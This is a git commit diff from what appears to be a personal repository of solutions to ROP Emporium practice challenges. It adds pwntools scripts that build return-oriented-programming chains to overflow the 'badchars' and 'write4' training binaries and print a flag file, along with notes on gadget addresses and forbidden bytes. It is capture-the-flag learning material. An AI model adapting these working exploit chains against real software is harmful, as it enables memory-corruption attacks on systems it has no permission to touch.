new file: x86_64/badchars/exploit.py
new file: x86_64/badchars/exploit_dirty.py new file: x86_64/badchars/usefullstuff deleted: x86_64/write4/.exploit.py.swp deleted: x86_64/write4/.useful_gadgets.swp modified: x86_64/write4/exploit.py
This commit is contained in:
parent
3f0a1e64c7
commit
3f54969f58
7
x86_64/badchars/.gdb_history
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7
x86_64/badchars/.gdb_history
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break pwnme
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run
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stepi
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return
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nexti
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stepi
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q
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BIN
x86_64/badchars/core
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BIN
x86_64/badchars/core
Normal file
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53
x86_64/badchars/exploit.py
Executable file
53
x86_64/badchars/exploit.py
Executable file
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#!/usr/bin/env python3
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from pwn import *
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from time import sleep
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def strfixandcopy(dest, string, badchars, payload):
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badchar_locations = []
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fixed_str = b''
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for n,l in enumerate(string):
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if l in badchars:
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fixed_str += bytes([ord(string[n]) - 1])
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badchar_locations.append(n)
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else:
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fixed_str += bytes([ord(string[n])])
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payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
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payload += fixed_str # r12
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payload += p64(dest) # r13
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payload += p64(1) # r14
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payload += p64(1) # r15
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payload += p64(0x0000000000400634) # moves fixed string
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for badchar_location in badchar_locations:
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payload += p64(0x00000000004006a0) # pop r14, r15
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payload += p64(1)
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payload += p64(dest + badchar_location)
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payload += p64(0x000000000040062c) #does the adding
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return(payload)
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prog = process('./badchars')
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payload = b''
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for c in range(40):
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payload += b'a'
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payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
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payload += p64(0x00000000004006a3)
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payload += p64(0x601be0)
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payload += p64(0x0000000000400510)
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payload += b"\n"
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prog.sendline(payload)
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sleep(0.5)
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print(str(prog.recv(), 'UTF-8'))
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prog.close()
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54
x86_64/badchars/exploit_dirty.py
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54
x86_64/badchars/exploit_dirty.py
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#!/usr/bin/env python3
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from pwn import *
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from time import sleep
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# gotta go FAST
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# i'll make it clean when I'm not pressured for time
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prog = process('./badchars')
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payload = b''
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for c in range(40):
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payload += b'a'
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payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
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payload += b'fl`f-twt'
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payload += p64(0x601be0)
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payload += p64(1)
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payload += p64(0x601be2)
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payload += p64(0x0000000000400634) # just pops
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a0) # pops
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payload += p64(1)
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payload += p64(0x601be3)
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a0) # pops
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payload += p64(1)
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payload += p64(0x601be4)
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a0) # pops
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payload += p64(1)
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payload += p64(0x601be6)
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a3) # pops rdi
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payload += p64(0x601be0)
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payload += p64(0x0000000000400510)
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payload += b"\n"
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prog.sendline(payload)
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sleep(0.5)
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print(prog.recv())
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prog.close()
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40
x86_64/badchars/usefullstuff
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x86_64/badchars/usefullstuff
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0000000000400628 <usefulGadgets>:
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400628: 45 30 37 xor BYTE PTR [r15],r14b
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40062c: 45 00 37 add BYTE PTR [r15],r14b
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400630: 45 28 37 sub BYTE PTR [r15],r14b
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400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
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print_file@plt: 0000000000400510
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0x00000000004006a0 : pop r14 ; pop r15 ; ret
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1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret <-- to set registers
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1:
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r12: "flae-txt"
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r13: 0x601be0
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r14: 1
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r15: 0x601be4
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2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
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3: 0x000000000040062c : add [r15], r14
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4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
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r14: 1
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r15: 0x601be5
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5: 0x00000000004006a3 : pop rdi ; ret
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rdi: 0x601be0
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6: 0x0000000000400510 : print_file@plt
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0x00000000004006a3 : pop rdi ; ret
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.init_array: 0x601be0 [safe]
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we cant use: 'x', 'g', 'a', '.'
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['0x78', '0x67', '0x61', '0x2e']
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Binary file not shown.
Binary file not shown.
BIN
x86_64/write4/core
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BIN
x86_64/write4/core
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#!/usr/bin/env python3
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from pwn import *
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from time import sleep
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prog = process('./write4')
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payload = b''
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@ -15,5 +16,6 @@ payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section
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payload += p64(0x0000000000400510) # print_file@plt
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payload += b"\n"
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prog.sendline(payload)
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sleep(0.5)
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print(str(prog.recv(), 'UTF-8'))
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prog.close()
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